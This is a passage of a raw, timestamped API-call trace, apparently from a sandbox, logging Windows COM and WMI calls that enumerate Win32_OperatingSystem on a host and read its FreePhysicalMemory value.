ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0267.799] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0267.799] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b351f68) returned 0x0 [0267.799] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351f68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0267.799] WbemLocator:IUnknown:Release (This=0x1b351f68) returned 0x3 [0267.799] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0267.800] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0267.801] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b352050) returned 0x0 [0267.801] WbemLocator:IRpcOptions:Query (in: This=0x1b352050, pPrx=0x1b352088, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0267.801] WbemLocator:IUnknown:Release (This=0x1b352050) returned 0x3 [0267.801] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x2 [0267.801] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0267.801] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0267.801] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35ca20) returned 0x0 [0267.801] IUnknown:AddRef (This=0x1d35ca20) returned 0x4 [0267.801] IUnknown:Release (This=0x1d35ca20) returned 0x3 [0267.801] IUnknown:Release (This=0x1d35ca20) returned 0x2 [0267.801] WbemLocator:IUnknown:Release (This=0x1d475920) returned 0x2 [0267.801] SysStringLen (param_1=0x0) returned 0x0 [0267.801] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0267.801] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0267.801] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0267.801] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0267.802] IUnknown:AddRef (This=0x1d35ca20) returned 0x3 [0267.802] IEnumWbemClassObject:Clone (in: This=0x1d35ca20, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35c4e0) returned 0x0 [0267.803] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35c4e8) returned 0x0 [0267.803] IClientSecurity:QueryBlanket (in: This=0x1d35c4e8, pProxy=0x1d35c4e0, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0267.803] IUnknown:Release (This=0x1d35c4e8) returned 0x1 [0267.803] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b351ee8) returned 0x0 [0267.803] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35c4e8) returned 0x0 [0267.803] IClientSecurity:SetBlanket (This=0x1d35c4e8, pProxy=0x1d35c4e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0267.805] IUnknown:Release (This=0x1d35c4e8) returned 0x2 [0267.805] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x1 [0267.805] CoTaskMemFree (pv=0x1d472250) [0267.805] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b351ee8) returned 0x0 [0267.805] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0267.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0267.827] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0267.828] WbemLocator:IUnknown:AddRef (This=0x1b351ee8) returned 0x3 [0267.828] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0267.828] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0267.828] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b351dc8) returned 0x0 [0267.828] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351dc8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0267.828] WbemLocator:IUnknown:Release (This=0x1b351dc8) returned 0x3 [0267.828] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0267.829] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0267.829] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b351eb0) returned 0x0 [0267.829] WbemLocator:IRpcOptions:Query (in: This=0x1b351eb0, pPrx=0x1b351ee8, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0267.829] WbemLocator:IUnknown:Release (This=0x1b351eb0) returned 0x3 [0267.829] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x2 [0267.829] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0267.829] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0267.829] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35c4e0) returned 0x0 [0267.829] IUnknown:AddRef (This=0x1d35c4e0) returned 0x4 [0267.829] IUnknown:Release (This=0x1d35c4e0) returned 0x3 [0267.829] IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0267.829] IUnknown:Release (This=0x1d35ca20) returned 0x2 [0267.830] SysStringLen (param_1=0x0) returned 0x0 [0267.830] IEnumWbemClassObject:Reset (This=0x1d35c4e0) returned 0x0 [0267.830] CoTaskMemAlloc (cb=0x8) returned 0x524990 [0267.830] IEnumWbemClassObject:Next (in: This=0x1d35c4e0, lTimeout=-1, uCount=0x1, apObjects=0x524990, puReturned=0x28fb910 | out: apObjects=0x524990*=0x1b34a5e0, puReturned=0x28fb910*=0x1) returned 0x0 [0267.838] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b34a5e0) returned 0x0 [0267.839] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0267.839] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0267.839] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0267.839] IUnknown:AddRef (This=0x1b34a5e0) returned 0x3 [0267.839] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0267.839] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0267.839] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b34a5e8) returned 0x0 [0267.839] IMarshal:GetUnmarshalClass (in: This=0x1b34a5e8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0267.839] IUnknown:Release (This=0x1b34a5e8) returned 0x3 [0267.839] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0267.840] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0267.840] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0267.840] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0267.840] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0267.840] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0267.840] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b34a5e0) returned 0x0 [0267.840] IUnknown:AddRef (This=0x1b34a5e0) returned 0x4 [0267.840] IUnknown:Release (This=0x1b34a5e0) returned 0x3 [0267.840] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0267.840] CoTaskMemFree (pv=0x524990) [0267.840] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0267.840] IUnknown:AddRef (This=0x1b34a5e0) returned 0x3 [0267.841] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0267.841] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0267.841] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0267.841] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0267.841] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0267.841] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0267.841] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0267.841] IUnknown:Release (This=0x4b0108) returned 0x1 [0267.843] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d497040) returned 0x0 [0267.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d497040, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0267.843] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d497040, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3ac0) returned 0x0 [0267.843] WbemDefPath:IUnknown:Release (This=0x1d497040) returned 0x0 [0267.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3ac0) returned 0x0 [0267.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0267.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0267.844] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0267.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0267.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0267.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d496f40) returned 0x0 [0267.844] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d496f40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0267.844] WbemDefPath:IUnknown:Release (This=0x1d496f40) returned 0x3 [0267.844] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0267.844] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0267.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0267.845] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0267.845] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0267.845] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0267.845] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0267.845] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3ac0) returned 0x0 [0267.845] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0267.845] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0267.845] WbemDefPath:IWbemPath:SetText (This=0x4f3ac0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0267.845] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0267.845] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0267.845] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0267.845] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0267.846] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0267.846] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0267.846] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fc6d8*=0, plFlavor=0x28fc6dc*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x28fc6d8*=21, plFlavor=0x28fc6dc*=0) returned 0x0 [0267.846] SysStringByteLen (bstr="1395304") returned 0xe [0267.846] SysStringByteLen (bstr="1395304") returned 0xe [0267.846] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fc6d8*=21, plFlavor=0x28fc6dc*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x28fc6d8*=21, plFlavor=0x28fc6dc*=0) returned 0x0 [0267.847] 